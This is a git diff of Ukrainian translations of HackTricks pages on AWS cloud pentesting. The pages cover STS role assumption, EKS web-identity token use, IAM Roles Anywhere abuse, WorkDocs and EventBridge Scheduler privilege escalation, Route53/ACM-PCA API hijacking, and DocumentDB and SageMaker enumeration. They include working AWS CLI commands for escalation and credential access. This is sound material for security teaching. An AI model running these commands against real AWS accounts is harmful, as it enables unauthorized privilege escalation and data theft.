можуть мати **власні інструменти**, щоб зробити це простіше, наприклад [onelogin-aws-assume-role](https://github.com/onelogin/onelogin-python-aws-assume-role): -```bash -onelogin-aws-assume-role --onelogin-subdomain mettle --onelogin-app-id 283740 --aws-region eu-west-1 -z 3600 -``` -**Можливий вплив:** Privesc до role. - -### `sts:AssumeRoleWithWebIdentity` - -Цей дозвіл дозволяє отримати набір тимчасових облікових даних безпеки для **користувачів, які були автентифіковані в мобільному або веб‑застосунку, EKS...** за допомогою провайдера web identity. [Дізнатися більше тут.](https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRoleWithWebIdentity.html) - -Наприклад, якщо **EKS service account** має можливість **impersonate an IAM role**, він матиме токен у **`/var/run/secrets/eks.amazonaws.com/serviceaccount/token`** і може **assume the role and get credentials**, роблячи щось на кшталт: -```bash -aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/ --role-session-name something --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token -# The role name can be found in the metadata of the configuration of the pod -``` -### Federation Abuse - -{{#ref}} -../aws-basic-information/aws-federation-abuse.md -{{#endref}} - -### IAM Roles Anywhere Privesc - -AWS IAM Roles Anywhere дозволяє робочим навантаженням поза AWS assume IAM roles за допомогою X.509 сертифікатів. Але коли trust policies не мають належної обмежувальної області, їх можна зловживати для privilege escalation. - -Щоб зрозуміти цю атаку, необхідно пояснити, що таке trust anchor. Trust anchor в AWS IAM Roles Anywhere — це кореневий елемент довіри; він містить публічний сертифікат Certificate Authority (CA), зареєстрованої в обліковому записі, щоб AWS міг перевірити надані X.509 сертифікати. Таким чином, якщо клієнтський сертифікат був виданий цим CA і trust anchor активний, AWS визнає його дійсним. - -Крім того, profile — це конфігурація, яка визначає, які атрибути X.509 сертифіката (наприклад, CN, OU або SAN) будуть перетворені в session tags, а ці теги потім порівнюються з умовами trust policy. - -Ця policy не містить обмежень щодо того, який trust anchor або атрибути сертифіката дозволені. Внаслідок цього будь-який сертифікат, прив'язаний до будь-якого trust anchor в обліковому записі, може бути використаний, щоб assume this role. -```json -{ -"Version": "2012-10-17", -"Statement": [ -{ -"Effect": "Allow", -"Principal": { -"Service": "rolesanywhere.amazonaws.com" -}, -"Action": [ -"sts:AssumeRole", -"sts:SetSourceIdentity", -"sts:TagSession" -] -} -] -} - -``` -Для privesc потрібен `aws_signing_helper` з https://docs.aws.amazon.com/rolesanywhere/latest/userguide/credential-helper.html - -Потім, використовуючи дійсний сертифікат, зловмисник може перейти в роль із вищими привілеями. -```bash -aws_signing_helper credential-process \ ---certificate readonly.pem \ ---private-key readonly.key \ ---trust-anchor-arn arn:aws:rolesanywhere:us-east-1:123456789012:trust-anchor/ta-id \ ---profile-arn arn:aws:rolesanywhere:us-east-1:123456789012:profile/default \ ---role-arn arn:aws:iam::123456789012:role/Admin -``` -Якір довіри перевіряє, що сертифікат клієнта `readonly.pem` походить від його авторизованого CA, і всередині цього сертифіката `readonly.pem` міститься публічний ключ, який AWS використовує для перевірки того, що підпис було зроблено відповідним приватним ключем `readonly.key`. - -Сертифікат також надає атрибути (наприклад CN або OU), які профіль `default` перетворює на теги, і які політика довіри ролі може використовувати для вирішення питання про надання доступу. Якщо в політиці довіри немає умов, ці теги не мають значення, і доступ надається будь-кому з дійсним сертифікатом. - -Щоб ця атака була можлива, і якір довіри, і профіль `default` мають бути активними. - -### Посилання - -- [https://www.ruse.tech/blogs/aws-roles-anywhere-privilege-escalation](https://www.ruse.tech/blogs/aws-roles-anywhere-privilege-escalation) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc/README.md new file mode 100644 index 000000000..d55b73821 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc/README.md @@ -0,0 +1,136 @@ +# AWS - STS Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## STS + +### `sts:AssumeRole` + +Кожна роль створюється з **політикою довіри ролі**, ця політика вказує **хто може прийняти створену роль**. Якщо роль з **того ж облікового запису** вказує, що інший обліковий запис може її прийняти, це означає, що цей обліковий запис зможе отримати доступ до ролі (і потенційно **privesc**). + +Наприклад, наступна політика довіри ролі вказує, що будь-хто може її прийняти, отже **будь-який користувач зможе privesc** до дозволів, пов'язаних з цією роллю. +```json +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Principal": { +"AWS": "*" +}, +"Action": "sts:AssumeRole" +} +] +} +``` +Ви можете видати себе за роль, виконавши: +```bash +aws sts assume-role --role-arn $ROLE_ARN --role-session-name sessionname +``` +**Потенційний вплив:** Privesc до ролі. + +> [!CAUTION] +> Зауважте, що в цьому випадку дозвіл `sts:AssumeRole` має бути **вказаний у ролі для зловживання** і не в політиці, що належить атакуючому.\ +> За одним винятком, щоб **взяти на себе роль з іншого облікового запису**, обліковий запис атакуючого **також має** мати **`sts:AssumeRole`** на цю роль. + + +### `sts:AssumeRoleWithSAML` + +Політика довіри з цією роллю надає **користувачам, аутентифікованим через SAML, доступ для імітації ролі.** + +Приклад політики довіри з цим дозволом: +```json +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Sid": "OneLogin", +"Effect": "Allow", +"Principal": { +"Federated": "arn:aws:iam::290594632123:saml-provider/OneLogin" +}, +"Action": "sts:AssumeRoleWithSAML", +"Condition": { +"StringEquals": { +"SAML:aud": "https://signin.aws.amazon.com/saml" +} +} +} +] +} +``` +Щоб згенерувати облікові дані для імітації ролі, загалом можна використати щось на кшталт: +```bash +aws sts assume-role-with-saml --role-arn --principal-arn +``` +Але **провайдери** можуть мати свої **власні інструменти**, щоб полегшити це, наприклад, [onelogin-aws-assume-role](https://github.com/onelogin/onelogin-python-aws-assume-role): +```bash +onelogin-aws-assume-role --onelogin-subdomain mettle --onelogin-app-id 283740 --aws-region eu-west-1 -z 3600 +``` +**Потенційний вплив:** Privesc до ролі. + +### `sts:AssumeRoleWithWebIdentity` + +Ця дозволяє отримати набір тимчасових облікових даних безпеки для **користувачів, які були автентифіковані в мобільному додатку, веб-застосунку, EKS...** за допомогою провайдера веб-ідентичності. [Дізнатися більше тут.](https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRoleWithWebIdentity.html) + +Наприклад, якщо **EKS service account** має мати змогу **impersonate an IAM role**, то у нього буде токен у **`/var/run/secrets/eks.amazonaws.com/serviceaccount/token`** і воно може **assume the role and get credentials**, виконавши щось на кшталт: +```bash +aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/ --role-session-name something --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token +# The role name can be found in the metadata of the configuration of the pod +``` +### Federation Abuse + +{{#ref}} +../../aws-basic-information/aws-federation-abuse.md +{{#endref}} + +### IAM Roles Anywhere Privesc + +AWS IAM RolesAnywhere дозволяє робочим навантаженням поза AWS assume IAM roles за допомогою X.509 сертифікатів. Однак якщо trust policies не обмежені належним чином, їх можна зловживати для privilege escalation. + +Щоб зрозуміти цю атаку, необхідно пояснити, що таке trust anchor. Trust anchor в AWS IAM RolesAnywhere — це коренева сутність довіри: вона містить публічний сертифікат Certificate Authority (CA), зареєстрованого в обліковому записі, щоб AWS міг валідувати надані X.509 сертифікати. Таким чином, якщо клієнтський сертифікат був виданий тим CA і trust anchor активний, AWS розпізнає його як дійсний. + +Крім того, profile — це конфігурація, яка визначає, які атрибути X.509 сертифіката (наприклад, CN, OU або SAN) будуть перетворені на session tags, і ці теги потім порівнюватимуться з умовами trust policy. + +Ця policy не містить обмежень щодо того, який trust anchor або атрибути сертифіката дозволені. Внаслідок цього будь-який сертифікат, прив’язаний до будь-якого trust anchor в обліковому записі, може бути використаний, щоб assume this role. +```json +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Principal": { +"Service": "rolesanywhere.amazonaws.com" +}, +"Action": [ +"sts:AssumeRole", +"sts:SetSourceIdentity", +"sts:TagSession" +] +} +] +} + +``` +Для privesc потрібен `aws_signing_helper` з https://docs.aws.amazon.com/rolesanywhere/latest/userguide/credential-helper.html + +Потім, використовуючи дійсний сертифікат, attacker може pivot у роль з вищими привілеями +```bash +aws_signing_helper credential-process \ +--certificate readonly.pem \ +--private-key readonly.key \ +--trust-anchor-arn arn:aws:rolesanywhere:us-east-1:123456789012:trust-anchor/ta-id \ +--profile-arn arn:aws:rolesanywhere:us-east-1:123456789012:profile/default \ +--role-arn arn:aws:iam::123456789012:role/Admin +``` +Довірчий корінь перевіряє, що сертифікат клієнта `readonly.pem` походить від його авторизованого CA, і всередині цього сертифіката `readonly.pem` міститься відкритий ключ, який AWS використовує для перевірки, що підпис було зроблено відповідним приватним ключем `readonly.key`. + +Сертифікат також містить атрибути (наприклад CN або OU), які профіль `default` перетворює на теги, які політика довіри ролі може використовувати, щоб вирішити, чи авторизувати доступ. Якщо в політиці довіри немає умов, ці теги не використовуються, і доступ надається будь-кому з дійсним сертифікатом. + +Щоб ця атака була можлива, обидва — довірчий корінь і профіль `default` — повинні бути активні. + +### Посилання + +- [https://www.ruse.tech/blogs/aws-roles-anywhere-privilege-escalation](https://www.ruse.tech/blogs/aws-roles-anywhere-privilege-escalation) + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc/README.md similarity index 64% rename from src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc.md rename to src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc/README.md index b93d65a08..e5936c684 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc/README.md @@ -1,25 +1,25 @@ # AWS - WorkDocs Privesc -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} ## WorkDocs -Для отримання додаткової інформації про WorkDocs перегляньте: +Для додаткової інформації про WorkDocs див.: {{#ref}} -../aws-services/aws-directory-services-workdocs-enum.md +../../aws-services/aws-directory-services-workdocs-enum.md {{#endref}} ### `workdocs:CreateUser` -Створіть користувача в зазначеному каталозі, тоді ви отримаєте доступ як до WorkDocs, так і до AD: +Створіть користувача у вказаному Directory, після чого ви отримаєте доступ як до WorkDocs, так і до AD: ```bash # Create user (created inside the AD) aws workdocs create-user --username testingasd --given-name testingasd --surname testingasd --password --email-address name@directory.domain --organization-id ``` -### `workdocs:GetDocument`, `(workdocs:DescribeActivities`)` +### `workdocs:GetDocument`, `(workdocs:`DescribeActivities`)` -Файли можуть містити чутливу інформацію, прочитайте їх: +Файли можуть містити конфіденційну інформацію, прочитайте їх: ```bash # Get what was created in the directory aws workdocs describe-activities --organization-id @@ -32,7 +32,7 @@ aws workdocs get-document --document-id ``` ### `workdocs:AddResourcePermissions` -Якщо у вас немає доступу для читання чогось, ви можете просто надати його. +Якщо у вас немає доступу для читання чогось, ви можете просто надати собі цей доступ. ```bash # Add permission so anyway can see the file aws workdocs add-resource-permissions --resource-id --principals Id=anonymous,Type=ANONYMOUS,Role=VIEWER @@ -43,11 +43,8 @@ aws workdocs add-resource-permissions --resource-id --principals Id=anonymo Ви можете зробити користувача адміністратором, додавши його до групи ZOCALO_ADMIN.\ Для цього дотримуйтесь інструкцій з [https://docs.aws.amazon.com/workdocs/latest/adminguide/manage_set_admin.html](https://docs.aws.amazon.com/workdocs/latest/adminguide/manage_set_admin.html) -Увійдіть з цим користувачем у workdoc і отримайте доступ до панелі адміністратора за адресою `/workdocs/index.html#/admin` +Увійдіть під цим користувачем у workdoc і перейдіть у панель адміністратора за адресою `/workdocs/index.html#/admin` -Я не знайшов жодного способу зробити це з cli. +Я не знайшов жодного способу зробити це через cli. - - - -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc/README.md similarity index 53% rename from src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc.md rename to src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc/README.md index 1a95915af..ec93c62fa 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc/README.md @@ -1,20 +1,20 @@ # AWS - EventBridge Scheduler Privesc -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} ## EventBridge Scheduler -Більше інформації про EventBridge Scheduler у: +Детальніше про EventBridge Scheduler у: {{#ref}} -../aws-services/eventbridgescheduler-enum.md +../../aws-services/eventbridgescheduler-enum.md {{#endref}} ### `iam:PassRole`, (`scheduler:CreateSchedule` | `scheduler:UpdateSchedule`) -Зловмисник з цими дозволами зможе **`створити`|`оновити` розклад і зловживати дозволами ролі розкладу**, що прикріплена до нього, для виконання будь-якої дії +Зловмисник з такими правами зможе **`create`|`update` scheduler і зловживати правами ролі scheduler**, прикріпленої до нього, щоб виконувати будь-які дії -Наприклад, вони можуть налаштувати розклад для **виклику функції Lambda**, що є шаблонною дією: +Наприклад, вони можуть налаштувати розклад так, щоб **викликати Lambda function**, яка є шаблонованою дією: ```bash aws scheduler create-schedule \ --name MyLambdaSchedule \ @@ -25,7 +25,7 @@ aws scheduler create-schedule \ "RoleArn": "arn:aws:iam:::role/" }' ``` -На додаток до шаблонних дій сервісу, ви можете використовувати **універсальні цілі** в EventBridge Scheduler для виклику широкого спектра API-операцій для багатьох сервісів AWS. Універсальні цілі пропонують гнучкість для виклику майже будь-якого API. Один з прикладів може бути використання універсальних цілей для додавання "**AdminAccessPolicy**", використовуючи роль, яка має політику "**putRolePolicy**": +Окрім шаблонних дій сервісу, ви можете використовувати **universal targets** в EventBridge Scheduler, щоб викликати широкий спектр API-операцій для багатьох сервісів AWS. Universal targets пропонують гнучкість для виклику майже будь-якого API. Один приклад — використання universal targets для додавання "**AdminAccessPolicy**", використовуючи роль, яка має політику "**putRolePolicy**": ```bash aws scheduler create-schedule \ --name GrantAdminToTargetRoleSchedule \ @@ -42,4 +42,4 @@ aws scheduler create-schedule \ - [https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-templated.html](https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-templated.html) - [https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-universal.html](https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-universal.html) -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer.md deleted file mode 100644 index dd3852420..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer.md +++ /dev/null @@ -1,32 +0,0 @@ -# AWS - Route53 Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -Для отримання додаткової інформації про Route53 дивіться: - -{{#ref}} -../aws-services/aws-route53-enum.md -{{#endref}} - -### `route53:CreateHostedZone`, `route53:ChangeResourceRecordSets`, `acm-pca:IssueCertificate`, `acm-pca:GetCertificate` - -> [!NOTE] -> Щоб виконати цю атаку, цільовий обліковий запис повинен вже мати налаштований [**AWS Certificate Manager Private Certificate Authority**](https://aws.amazon.com/certificate-manager/private-certificate-authority/) **(AWS-PCA)**, а EC2 інстанси у VPC(ах) повинні вже імпортувати сертифікати для довіри до нього. З цією інфраструктурою можна виконати наступну атаку для перехоплення трафіку AWS API. - -Інші дозволи **рекомендуються, але не є обов'язковими для частини перерахування**: `route53:GetHostedZone`, `route53:ListHostedZones`, `acm-pca:ListCertificateAuthorities`, `ec2:DescribeVpcs` - -Припустимо, що є AWS VPC з кількома хмарними додатками, які спілкуються один з одним і з AWS API. Оскільки зв'язок між мікросервісами часто шифрується за допомогою TLS, має бути приватний CA для видачі дійсних сертифікатів для цих сервісів. **Якщо використовується ACM-PCA** для цього, і противник отримує **доступ до контролю як route53, так і acm-pca приватного CA** з мінімальним набором дозволів, описаних вище, він може **перехопити виклики додатків до AWS API**, взявши на себе їх IAM дозволи. - -Це можливо, оскільки: - -- AWS SDK не має [Certificate Pinning](https://www.digicert.com/blog/certificate-pinning-what-is-certificate-pinning) -- Route53 дозволяє створювати приватні хостингові зони та DNS записи для доменних імен AWS API -- Приватний CA в ACM-PCA не може бути обмежений підписанням лише сертифікатів для конкретних загальних імен - -**Потенційний вплив:** Непряме підвищення привілеїв шляхом перехоплення чутливої інформації в трафіку. - -#### Експлуатація - -Знайдіть кроки експлуатації в оригінальному дослідженні: [**https://niebardzo.github.io/2022-03-11-aws-hijacking-route53/**](https://niebardzo.github.io/2022-03-11-aws-hijacking-route53/) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer/README.md new file mode 100644 index 000000000..b95cde76e --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer/README.md @@ -0,0 +1,32 @@ +# AWS - Route53 Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +For more information about Route53 check: + +{{#ref}} +../../aws-services/aws-route53-enum.md +{{#endref}} + +### `route53:CreateHostedZone`, `route53:ChangeResourceRecordSets`, `acm-pca:IssueCertificate`, `acm-pca:GetCertificate` + +> [!NOTE] +> Для виконання цієї атаки в цільовому акаунті вже має бути налаштовано [**AWS Certificate Manager Private Certificate Authority**](https://aws.amazon.com/certificate-manager/private-certificate-authority/) **(AWS-PCA)**, а EC2 інстанси у VPC(ах) повинні вже імпортувати сертифікати, щоб довіряти йому. Зі встановленою такою інфраструктурою можна виконати наступну атаку для перехоплення трафіку до AWS API. + +Other permissions **recommend but not required for the enumeration** part: `route53:GetHostedZone`, `route53:ListHostedZones`, `acm-pca:ListCertificateAuthorities`, `ec2:DescribeVpcs` + +Assuming there is an AWS VPC with multiple cloud-native applications talking to each other and to AWS API. Since the communication between the microservices is often TLS encrypted there must be a private CA to issue the valid certificates for those services. **If ACM-PCA is used** for that and the adversary manages to get **access to control both route53 and acm-pca private CA** with the minimum set of permissions described above, it can **hijack the application calls to AWS API** taking over their IAM permissions. + +This is possible because: + +- AWS SDKs не підтримують [Certificate Pinning](https://www.digicert.com/blog/certificate-pinning-what-is-certificate-pinning) +- Route53 дозволяє створювати Private Hosted Zone і DNS-записи для доменних імен AWS API +- Private CA в ACM-PCA не можна обмежити лише підписуванням сертифікатів для певних Common Names + +**Potential Impact:** Опосередкований privesc шляхом перехоплення конфіденційної інформації в трафіку. + +#### Exploitation + +Find the exploitation steps in the original research: [**https://niebardzo.github.io/2022-03-11-aws-hijacking-route53/**](https://niebardzo.github.io/2022-03-11-aws-hijacking-route53/) + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum.md deleted file mode 100644 index ebbdbfba6..000000000 --- a/src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum.md +++ /dev/null @@ -1,40 +0,0 @@ -# AWS - DocumentDB Enum - -{{#include ../../../banners/hacktricks-training.md}} - -## DocumentDB - -Amazon DocumentDB, що пропонує сумісність з MongoDB, представлений як **швидка, надійна та повністю керована служба бази даних**. Розроблений для простоти в розгортанні, експлуатації та масштабуванні, він дозволяє **безперешкодну міграцію та експлуатацію баз даних, сумісних з MongoDB, у хмарі**. Користувачі можуть використовувати цю службу для виконання свого існуючого коду додатків і використовувати знайомі драйвери та інструменти, що забезпечує плавний перехід та експлуатацію, подібну до роботи з MongoDB. - -### Enumeration -```bash -aws docdb describe-db-clusters # Get username from "MasterUsername", get also the endpoint from "Endpoint" -aws docdb describe-db-instances #Get hostnames from here - -# Parameter groups -aws docdb describe-db-cluster-parameter-groups -aws docdb describe-db-cluster-parameters --db-cluster-parameter-group-name - -# Snapshots -aws docdb describe-db-cluster-snapshots -aws --region us-east-1 --profile ad docdb describe-db-cluster-snapshot-attributes --db-cluster-snapshot-identifier -``` -### NoSQL Injection - -Оскільки DocumentDB є сумісною з MongoDB базою даних, ви можете уявити, що вона також вразлива до поширених атак NoSQL injection: - -{{#ref}} -https://book.hacktricks.wiki/en/pentesting-web/nosql-injection.html -{{#endref}} - -### DocumentDB - -{{#ref}} -../aws-unauthenticated-enum-access/aws-documentdb-enum.md -{{#endref}} - -## References - -- [https://aws.amazon.com/blogs/database/analyze-amazon-documentdb-workloads-with-performance-insights/](https://aws.amazon.com/blogs/database/analyze-amazon-documentdb-workloads-with-performance-insights/) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum/README.md b/src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum/README.md new file mode 100644 index 000000000..985a3e64b --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum/README.md @@ -0,0 +1,40 @@ +# AWS - DocumentDB Enum + +{{#include ../../../../banners/hacktricks-training.md}} + +## DocumentDB + +Amazon DocumentDB, що забезпечує сумісність з MongoDB, представлений як **швидкий, надійний та повністю керований сервіс баз даних**. Розроблений для простоти розгортання, експлуатації та масштабування, він дозволяє **безшовну міграцію та експлуатацію баз даних, сумісних з MongoDB, у хмарі**. Користувачі можуть використовувати цей сервіс для виконання свого існуючого коду застосунків та застосовувати знайомі драйвери й інструменти, забезпечуючи плавний перехід і роботу, подібну до роботи з MongoDB. + +### Enumeration +```bash +aws docdb describe-db-clusters # Get username from "MasterUsername", get also the endpoint from "Endpoint" +aws docdb describe-db-instances #Get hostnames from here + +# Parameter groups +aws docdb describe-db-cluster-parameter-groups +aws docdb describe-db-cluster-parameters --db-cluster-parameter-group-name + +# Snapshots +aws docdb describe-db-cluster-snapshots +aws --region us-east-1 --profile ad docdb describe-db-cluster-snapshot-attributes --db-cluster-snapshot-identifier +``` +### NoSQL Injection + +Оскільки DocumentDB сумісна з MongoDB, можна припустити, що вона також вразлива до поширених NoSQL injection атак: + +{{#ref}} +https://book.hacktricks.wiki/en/pentesting-web/nosql-injection.html +{{#endref}} + +### DocumentDB + +{{#ref}} +../../aws-unauthenticated-enum-access/aws-documentdb-enum/README.md +{{#endref}} + +## Посилання + +- [https://aws.amazon.com/blogs/database/analyze-amazon-documentdb-workloads-with-performance-insights/](https://aws.amazon.com/blogs/database/analyze-amazon-documentdb-workloads-with-performance-insights/) + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-sagemaker-enum/README.md b/src/pentesting-cloud/aws-security/aws-services/aws-sagemaker-enum/README.md new file mode 100644 index 000000000..2ac2baf23 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-services/aws-sagemaker-enum/README.md @@ -0,0 +1,200 @@ +# AWS - SageMaker Enum + +{{#include ../../../../banners/hacktricks-training.md}} + +## Огляд сервісу + +Amazon SageMaker — керований AWS сервіс для машинного навчання, який поєднує блокноти, інфраструктуру для тренування, оркестрацію, реєстри та керовані endpoints. Компрометація ресурсів SageMaker зазвичай забезпечує: + +- Тривалі IAM execution roles з широким доступом до S3, ECR, Secrets Manager або KMS. +- Доступ до конфіденційних наборів даних, що зберігаються в S3, EFS або всередині feature stores. +- Мережеві плацдарми всередині VPC (Studio apps, training jobs, endpoints). +- Високопривілейовані presigned URLs, які обходять аутентифікацію консолі. + +Розуміння того, як зібраний SageMaker, — ключовий крок перед тим, як виконувати pivot, persist або здійснювати ексфільтрацію даних. + +## Core Building Blocks + +- **Studio Domains & Spaces**: Web IDE (JupyterLab, Code Editor, RStudio). Кожен domain має спільну файлову систему EFS і роль виконання за замовчуванням. +- **Notebook Instances**: Керовані EC2 інстанси для автономних notebook; використовують окремі execution roles. +- **Training / Processing / Transform Jobs**: Ефемерні контейнери, які тягнуть код з ECR і дані з S3. +- **Pipelines & Experiments**: Оркестровані робочі процеси, які описують усі кроки, вхідні та вихідні дані. +- **Models & Endpoints**: Запаковані артефакти, розгорнуті для inference через HTTPS endpoints. +- **Feature Store & Data Wrangler**: Керовані сервіси для підготовки даних та управління фічами. +- **Autopilot & JumpStart**: Автоматизоване ML та кураторований каталог моделей. +- **MLflow Tracking Servers**: Керований MLflow UI/API з presigned токенами доступу. + +Кожен ресурс посилається на execution role, S3 локації, образи контейнерів та опціональні VPC/KMS налаштування — фіксуйте всі ці деталі під час енумерації. + +## Обліковий запис та глобальні метадані +```bash +REGION=us-east-1 +# Portfolio status, used when provisioning Studio resources +aws sagemaker get-sagemaker-servicecatalog-portfolio-status --region $REGION + +# List execution roles used by models (extend to other resources as needed) +aws sagemaker list-models --region $REGION --query 'Models[].ExecutionRoleArn' --output text | tr ' ' ' +' | sort -u + +# Generic tag sweep across any SageMaker ARN you know +aws sagemaker list-tags --resource-arn --region $REGION +``` +Зверніть увагу на будь-яку довіру між акаунтами (execution roles or S3 buckets with external principals) та базові обмеження, такі як service control policies або SCPs. + +## Studio Domains, Apps & Shared Spaces +```bash +aws sagemaker list-domains --region $REGION +aws sagemaker describe-domain --domain-id --region $REGION +aws sagemaker list-user-profiles --domain-id-equals --region $REGION +aws sagemaker describe-user-profile --domain-id --user-profile-name --region $REGION + +# Enumerate apps (JupyterServer, KernelGateway, RStudioServerPro, CodeEditor, Canvas, etc.) +aws sagemaker list-apps --domain-id-equals --region $REGION +aws sagemaker describe-app --domain-id --user-profile-name --app-type JupyterServer --app-name default --region $REGION + +# Shared collaborative spaces +aws sagemaker list-spaces --domain-id-equals --region $REGION +aws sagemaker describe-space --domain-id --space-name --region $REGION + +# Studio lifecycle configurations (shell scripts at start/stop) +aws sagemaker list-studio-lifecycle-configs --region $REGION +aws sagemaker describe-studio-lifecycle-config --studio-lifecycle-config-name --region $REGION +``` +Що слід записувати: + +- `DomainArn`, `AppSecurityGroupIds`, `SubnetIds`, `DefaultUserSettings.ExecutionRole`. +- Підключений EFS (`HomeEfsFileSystemId`) і S3 домашні директорії. +- Lifecycle scripts (часто містять bootstrap credentials або додатковий код для push/pull). + +> [!TIP] +> Presigned Studio URLs можуть обійти аутентифікацію, якщо надані занадто широко. + +## Notebook Instances & Lifecycle Configs +```bash +aws sagemaker list-notebook-instances --region $REGION +aws sagemaker describe-notebook-instance --notebook-instance-name --region $REGION +aws sagemaker list-notebook-instance-lifecycle-configs --region $REGION +aws sagemaker describe-notebook-instance-lifecycle-config --notebook-instance-lifecycle-config-name --region $REGION +``` +Метадані ноутбука виявляють: + +- Роль виконання (`RoleArn`), прямий доступ до Інтернету або режим лише VPC. +- Розташування S3 у `DefaultCodeRepository`, `DirectInternetAccess`, `RootAccess`. +- Скрипти життєвого циклу для облікових даних або хуків персистентності. + +## Навчання, обробка, трансформація та пакетні завдання +```bash +aws sagemaker list-training-jobs --region $REGION +aws sagemaker describe-training-job --training-job-name --region $REGION + +aws sagemaker list-processing-jobs --region $REGION +aws sagemaker describe-processing-job --processing-job-name --region $REGION + +aws sagemaker list-transform-jobs --region $REGION +aws sagemaker describe-transform-job --transform-job-name --region $REGION +``` +- `AlgorithmSpecification.TrainingImage` / `AppSpecification.ImageUri` – які ECR образи розгорнуті. +- `InputDataConfig` & `OutputDataConfig` – S3 бакети, префікси та KMS ключі. +- `ResourceConfig.VolumeKmsKeyId`, `VpcConfig`, `EnableNetworkIsolation` – визначають мережеву чи шифрувальну конфігурацію. +- `HyperParameters` можуть leak секрети середовища або рядки підключення. + +## Пайплайни, експерименти та випробування +```bash +aws sagemaker list-pipelines --region $REGION +aws sagemaker list-pipeline-executions --pipeline-name --region $REGION +aws sagemaker describe-pipeline --pipeline-name --region $REGION + +aws sagemaker list-experiments --region $REGION +aws sagemaker list-trials --experiment-name --region $REGION +aws sagemaker list-trial-components --trial-name --region $REGION +``` +Опис Pipeline деталізує кожен крок, пов'язані ролі, container images і environment variables. Trial components часто містять training artefact URIs, S3 logs і metrics, які натякають на потік чутливих даних. + +## Моделі, конфігурації Endpoint та розгорнуті Endpoint-и +```bash +aws sagemaker list-models --region $REGION +aws sagemaker describe-model --model-name --region $REGION + +aws sagemaker list-endpoint-configs --region $REGION +aws sagemaker describe-endpoint-config --endpoint-config-name --region $REGION + +aws sagemaker list-endpoints --region $REGION +aws sagemaker describe-endpoint --endpoint-name --region $REGION +``` +Основні напрямки: + +- S3 URI артефактів моделі (`PrimaryContainer.ModelDataUrl`) та образи контейнерів для inference. +- Endpoint data capture configuration (S3 bucket, KMS) для можливої ексфільтрації логів. +- Multi-model endpoints, що використовують `S3DataSource` або `ModelPackage` (перевірити на cross-account packaging). +- Network configs та security groups, прикріплені до endpoints. + +## Feature Store, Data Wrangler & Clarify +```bash +aws sagemaker list-feature-groups --region $REGION +aws sagemaker describe-feature-group --feature-group-name --region 